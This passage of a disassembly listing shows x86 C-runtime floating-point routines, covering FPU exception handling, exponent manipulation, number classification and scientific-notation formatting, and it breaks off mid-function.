		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C8A0
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs

loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43C890
		jmp	short loc_421426
; ---------------------------------------------------------------------------

loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43C8A0
		fchs

loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43C8A0
		jmp	short loc_42144E
; ---------------------------------------------------------------------------

loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43C890
		fchs

loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C890
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs

loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]

loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx

loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------

loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------

loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx

loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx

loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx

loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h

loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F

loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------

loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx

loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx

loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh

loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx

loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB2A8, 22h
		retn
; ---------------------------------------------------------------------------

loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB2A8, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43C7B8

loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43C890
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43C7BC[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3

loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707

loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4

loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------

loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A

loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax

loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1

loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h

loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------

loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43C8B8
		fistp	[ebp+arg_0]
		wait

loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43C8B8
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43C8C4
		fstp	[ebp+var_8]
		wait

loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26A0589h
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	near ptr 26C037Bh
		nop
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------

loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B

loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43C534, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------

loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF

loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43C538
		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43C538
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951

loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945

loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982

loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------

loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax

loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax

loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43C8E0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB340, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB33C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------

loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h

loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43C538
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB340, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h

loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl

loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB340, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB344
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB33C
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------

loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h

loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
